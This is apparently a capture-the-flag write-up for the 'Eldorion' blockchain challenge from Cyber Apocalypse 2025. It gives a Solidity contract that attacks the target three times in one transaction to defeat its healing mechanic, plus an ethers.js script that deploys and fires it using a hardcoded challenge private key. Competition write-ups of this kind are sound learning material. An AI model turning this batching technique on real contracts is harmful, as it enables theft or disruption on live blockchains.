blockchain

Eldorion Writeup

Cyber Apocalypse 2025

Solved by Starry-Lord

This Beast was killed with adding a attacker.sol contract to bypass the “eternal resilience” function, which kept healing the boss after each attack. So we needed to make a triple attack:

cat contracts/attack.sol                                                                                        
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IEldorion {
    function attack(uint256 damage) external;
}

contract Attacker {
    function attackThree(address target) external {
        IEldorion(target).attack(100);
        IEldorion(target).attack(100);
        IEldorion(target).attack(100);
    }
}

here is the attack script with ethers.js v5 (because I never managed to make this challenge return valid JSON with v6):

const fs = require("fs");
const path = require("path");
const solc = require("solc");
const { ethers } = require("ethers");

// === Config ===
const RPC_URL = "http://83.136.253.25:50179";
const PRIVATE_KEY = "0x0ce0d36d2fb2e0cfc7f413aec7acf865871b6f71f28ffda18cff63ab50a8c59c";

const eldorionAddress = "0x6114F5Aca890BaE0b153de34Cd024ba24C2A3A68";
const setupAddress    = "0xaed4036993875E6C22E37BC1a12EFB81e89A9222";

const eldorionAbi = [
  "function health() view returns (uint256)",
  "function isDefeated() view returns (bool)"
];
const setupAbi = [
  "function isSolved() view returns (bool)"
];
const attackerAbi = [
  "function attackThree(address target) external"
];

// === Setup Provider + Signer ===
const provider = new ethers.providers.JsonRpcProvider(RPC_URL);
const signer = new ethers.Wallet(PRIVATE_KEY, provider);

// === Compile Attacker.sol ===
async function compileAttacker() {
  const filePath = path.join(__dirname, "../contracts/attack.sol");
  const source = fs.readFileSync(filePath, "utf8");

  const input = {
    language: "Solidity",
    sources: {
      "attack.sol": { content: source }
    },
    settings: {
      outputSelection: {
        "*": {
          "*": ["abi", "evm.bytecode"]
        }
      }
    }
  };

  const output = JSON.parse(solc.compile(JSON.stringify(input)));

  // Print compilation errors
  if (output.errors) {
    for (const error of output.errors) {
      console.error(error.formattedMessage);
    }
  }

  const contract = output.contracts["attack.sol"]?.["Attacker"];
  if (!contract) {
    throw new Error("❌ Compilation failed: Attacker contract not found.");
  }

  return {
    abi: contract.abi,
    bytecode: contract.evm.bytecode.object
  };
}

// === Main Execution ===
async function main() {
  console.log("Attacker:", await signer.getAddress());

  const { abi, bytecode } = await compileAttacker();

  const factory = new ethers.ContractFactory(abi, bytecode, signer);
  const attacker = await factory.deploy();
  await attacker.deployed();
  console.log("🚀 Attacker contract deployed at:", attacker.address);

  const tx = await attacker.attackThree(eldorionAddress);
  await tx.wait();
  console.log("⚔ Sent 3 attacks in a single transaction!");

  const eldorion = new ethers.Contract(eldorionAddress, eldorionAbi, signer);
  const setup = new ethers.Contract(setupAddress, setupAbi, signer);

  const health = await eldorion.health();
  console.log("🧪 Eldorion's Health:", health.toString());

  const defeated = await eldorion.isDefeated();
  console.log("💀 Eldorion Defeated?", defeated);

  const solved = await setup.isSolved();
  console.log("🏁 Challenge Solved?", solved ? "✅ YES" : "❌ Not yet");

  if (solved) {
    console.log("🎉 Go grab your flag!");
  }
}

main().catch((err) => {
  console.error("💥 Error:", err.message || err);
});

Published on : 29 Mar 2025